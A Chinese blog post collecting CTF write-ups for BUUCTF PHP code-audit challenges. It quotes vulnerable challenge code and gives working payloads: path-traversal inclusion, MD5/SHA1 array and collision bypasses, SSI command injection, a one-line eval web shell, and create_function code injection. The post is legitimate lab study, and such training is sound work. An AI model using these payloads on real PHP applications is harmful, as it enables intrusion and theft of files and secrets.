文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   5.9k

BUUCTF刷题——PHP代码审计

[HCTF2018]WarmingUp

考点

  • 代码审计

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

https://www.cnblogs.com/h3zh1/p/12853478.html

payload:

1
http://f3a0386f-ebf6-4b35-8a60-87de301e158a.node3.buuoj.cn/source.php?file=source.php?../../../../../ffffllllaaaagggg

我感觉上面这个分析有点问题,这个payload到了第23行的if语句就直接return,没有后面的代码啥事了。

[极客大挑战2019]PHP

TODO

BJDCTF2020 Easy MD5

考点

  • PHP MD5

解题

第一关

payload:ffifdyop

分析文章:https://blog.csdn.net/March97/article/details/81222922?utm_source=blogxgwz9

1
2
3
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

第二关

MD5 碰撞

第三关

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

为MD5强类型比较,这时候传入两个数组,数组的值不相等,造成MD5加密时报错产生NULL=NULL的情况,绕过比较。

拓展

1
2
3
4
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!");
}

https://xz.aliyun.com/t/2232

1
param1=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02Sj%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3E%D6%D1mE%AAL4%E1%F2d%CD%E1%073c%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F_D%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%3C%F9%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%90%BC%B5%2F%ED&param2=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02S%EA%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3EV%D2mE%AAL4%E1%F2d%CD%E1%073%E3%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F%DFD%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%BC%F8%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%10%BC%B5%2F%ED

MRCTF2020 Ez_bypass

考点

  • MD5绕过
  • is_numeric绕过

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}

比较简单的一道题。

第一个为MD5强类型比较,这时候传入两个数组,数组的值不相等,造成MD5加密时报错产生NULL=NULL的情况,绕过比较。

第二个为is_numeric函数弱类型,用1234567abc绕过。

BJDCTF2020 Mark loves cat

考点

  • Git源码泄露
  • 变量覆盖

解题

关键在于要认识到exit()也是可以是输出的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

先来分析三个if语句:

  1. 第一个if语句:

    1
    2
    3
    4
    5
    foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
    exit($handsome);
    }
    }

    键名为flag的键值绝对等于其中某一个键值,并且键名不能有flag。前后相互矛盾,进不去这个判断。

  2. 第二个if语句:

    1
    2
    3
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
    }

    不存在GET型的flag参数,也不存在POST型的flag参数。

  3. 第三个if语句:

    1
    2
    3
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
    }

    POST型flag参数值绝对等于flag,GET型flag参数值绝对等于flag。

如果想通过第二个if语句来输出flag的话,就要去覆盖$flag,即$yds=$flag

1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

那么就可以直接GET传参:

1
/index.php?yds=flag

相当于$yds=$flag

如果想通过第三个if语句来输出flag,就要去覆盖$is,即$is=$flag,并且GET中要有flag参数:

1
/index.php?is=flag&flag=flag

GKCTF2020 CheckIN

考点

  • disable_function绕过

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

看一下phpinfo,发现禁用了很多执行系统命令的函数。

写一个shell用蚁剑连接,eval($_POST[123]);,经过base64编码是ZXZhbCgkX1BPU1RbMTIzXSk7

浏览根目录发现要用readflag读取flag文件,上传php7-diable_function-bypass Poc至/tmp目录下,然后用include包含该文件:

GWCTF2019 枯燥的抽奖

考点

解题

查看源代码有一段JS代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$(document).ready(function(){
$("#div1").load("check.php #p1");

$(".close").click(function(){
$("#myAlert").hide();
});

$("#button1").click(function(){
$("#myAlert").hide();
guess=$("input").val();
$.ajax({
type: "POST",
url: "check.php",
data: "num="+guess,
success: function(msg){
$("#div2").append(msg);
alertmsg = $("#flag").text();
if(alertmsg=="没抽中哦,再试试吧"){
$("#myAlert").attr("class","alert alert-warning");
if($("#new").text()=="")
$("#new").append(alertmsg);
}
else{
$("#myAlert").attr("class","alert alert-success");
if($("#new").text()=="")
$("#new").append(alertmsg);
}


}
});
$("#myAlert").show();
$("#new").empty();
$("#div2").empty();
});
});

再去看check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ODuHdhCHWY
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

BJDCTF2020 EasySearch

考点

  • MD5截断验证

解题

用dirmap扫一遍,发现index.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

代码第14行明显是考察MD5截断认证,直接用脚本爆破

参考:https://www.cnblogs.com/yesec/p/11297568.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '6d0bc1' #已知的md5明文
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:6] == knownMd5:
print code
break
list=[]
for i in range(3): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()

得到password:2020666

然后以admin,2020666登录,在header中发现随机生成的文件所在路径。访问之,发现界面为:

看到这个admin猜测肯定有模板注入,但是用{{7*'7'}}验证一直返回fail,查阅wp得知是SSI注入(我之前都没听过)。

可以通过public文件夹下的文件后缀名.shtml得到线索

参考文章

在username设置<!--#exec cmd="命令"-->,即可执行命令。

拓展

另一种形式的MD5截断验证:

https://www.cnblogs.com/yesec/p/11300841.html

MRCTF2020 套娃

考点

  • $_SERVER['QUERY_STRING']绕过
  • 代码审计

解题

第一层

1
2
3
4
5
6
7
8
9
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

题外话:$_SERVER['QUERY_STRING']不会进行URLDecode,而$_GET[]会将参数进行URLDecode

利用PHP的字符串解析特性Bypass第一个if语句。

参考文章:https://www.freebuf.com/articles/web/213359.html

第二个if中正则匹配表示匹配字符串的开头和结尾,由于在字符串中换行可以表示字符串的结尾,所以可以用%0a绕过。

参考文章:https://www.cnblogs.com/20175211lyz/p/12198258.html

所以第一层的payload就是

1
?b%20u%20p%20t=23333%0a

第二层

查看源代码,有一大串的JSFuck编码,直接拿到console跑

提示需要POST一下Merak数据,内容任意。继续审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

只允许本地登录,那么就加上Client-IP:127.0.0.1的Header。接着使用data伪协议从2333参数中读取todat is a happy day

接下来就是逆向change函数,

1
2
3
4
5
6
7
8
9
10
11
<?php
function unchange($v){
$re = '';
for ($i=0;$i<strlen($v);$i++){
$re .= chr(ord($v[$i]) - $i*2);
}
return $re;
}

$real = unchange("flag.php");
echo base64_encode($real);

所以第二层的payload就是:

1
?2333=data:text/plain,tadat is a happy day&file=ZmpdYSZmXGI=

[Zer0pts2020]Can you guess it?

考点

  • $_SEVER['PHP_SELF']利用
  • basename()绕过

解题

利用点在:

1
2
3
4
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

但是前面还有过滤:

1
2
3
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

其中$_SERVER['PHP_SELF']我们知道它的值是url相对路径。也就是说我们输入/index.php/config.php?source 会返回/index.php/config.php

我们知道preg_match 是需要完全匹配才会返回true的,也就是说我们输入/index.php/config.php/a就可以绕过,但是basename的结果会是a显然会报错,因为没这个文件。此时我们想到了basename会忽略一些奇怪的字符%80 ~ %ff

所以我们输入/index.php/comfig.php/%ff 就可以进行显示comfig.php文件,这里所有的操作都是在index.php下进行的(我们看到的代码都是index.php的代码)。当然我们不要忘记传get的变量source。

payload:/index.php/config.php/%81?source

[BJDCTF2020]EzPHP

考点

  • QUERY_STRING绕过
  • SHA1数组绕过
  • preg_match数组绕过
  • extract变量覆盖
  • create_function注入

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

$_SERVER[‘QUERY_STRING’]绕过

需要明确一个知识点:

$_SERVER['QUERY_STRING']返回url中查询的字符串,与此类似的还有:

  • $_SERVER['REQUEST_URI']返回访问此页面所需的URI
  • $_SERVER['SCRIPT_NAME']返回包含当前脚本的路径
  • $_SERVER['PHP_SELF']当前正在执行脚本的文件名

举个例子:(浏览器自动将file的url编码解码了)

img

可以看到,$_SERVER['QUERY_STRING']$_SERVER['REQUEST_URI']在传输时不会url解码,而$_GET,$_POST会url解码,因此我们可以url编码绕过下面代码:

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

preg_match换行符绕过

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

由于没有/s修饰符用来在匹配时匹配换行符,我们可以使用%0a换行污染绕过。

$_REQUEST字母匹配绕过

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST包含_POST_GETCOOKIE三个全局变量,并且POST具有更高的优先值,也就是说我们可以POST同样名称满足条件的值,比如数字就可以绕过这个匹配。另外,数组类型的数据不需要POST,preg_match()只能匹配字符串,数组得以绕过。

我在BUUOJ上面做这个题的时候,一直绕不过这个字母匹配,再仔细一看,发现是buu自带的cookie的原因,删掉即可。

file_get_contents比对绕过

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

刚开始想的是php://input,后来发现要POST数据,因此便不能用了,这里可以用data://,示例:

1
2
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

sha1比较

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

直接数组绕过。

extract变量覆盖

因为extract()函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]flag[arg]的形式。

create_function代码注入

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

基本的注入形式:

1
2
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST[1]);\\');

执行时相当于:

1
2
3
4
function myFunc($a, $b){
return $a+$b;
}
eval($_POST[1]);//}

那么这道题禁用了很多类似无参数RCE的函数关键字,也禁用了很多读文件的系统命令。

但是代码中已经包含了flag.php,那么就可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值,可以想到:是否存在一个函数,能输出所有变量的值?

答案是get_defined_vars()用来输出所有变量和值。

那么整体的payload就是

1
2
1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());//
POST: debu=1&file=1

解码后就是

1
2
3
1nD3x.php?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
POST: debu=1&file=1

打印了所有变量

提示我们真的flag在realfl4g.php里面,那么就去包含realfl4g.php文件。

这个地方过滤了include和单引号,可以用require()来代替,过滤flag关键字,就用base64编码绕过。那么payload就是

1
2
3
1nD3x.php?
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(base64_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
POST: debu=1&file=1

解码后

1
2
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhbGZsNGcucGhw));var_dump(get_defined_vars());//

取反绕过+伪协议读取源码

payload

1
2
3
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

POST: debu=1&file=1

读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{b1fcb796-18ed-4790-96d4-42becc504efc}";
unset($rea1_f1114g);

原来是把变量给释放了。

拓展

介绍一种非预期解:

数组绕过

加了个参数,传上去伪协议,然后get_defined_vars()数组获取到这个伪协议放到require()里包含,payload:

1
?deb%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70&rce2=r&sha%6e%61[]=a&pa%73sw%64[]=b&fla%67[co%64e]=create_function&fla%67[ar%67]=;}require(get_defined_vars()[_GET][rce]);%0a//

解码后:

1
2
3
?debu=aqua_is_cute
&file=data:,debu_debu_aqua&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php&rce2=r&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=;}require(get_defined_vars()[_GET][rce]);
//

参考

https://www.gem-love.com/ctf/770.html

[HarekazeCTF2019]encode_and_encode

考点

  • json字符转义
  • 伪协议绕过

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

大概就是传一个json编码的数据,然后json解码,进行is_valid黑名单过滤,然后file_get_contents,再一次进行黑名单过滤,也就是既对原始数据,又对文件内容进行了过滤,由于json使支持unicode编码的,所以可以用unicode代替关键字,并用伪协议base64编码,payload:

1
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

参考

https://p1htmlkernalweb.mybluemix.net/articles/[HarekazeCTF2019]encode_and_encode_3837296_csdn.html

[CISCN2019 总决赛 Day1 Web4]Laravel1

TODO

[CISCN2019 华北赛区 Day1 Web1]Dropbox

TODO

[HarekazeCTF2019]Easy Notes

TODO

[RCTF 2019]Nextphp

TODO

[De1CTF 2019]ShellShellShell

TODO

Copyright © ca01h 2019-2020 | 本站总访问量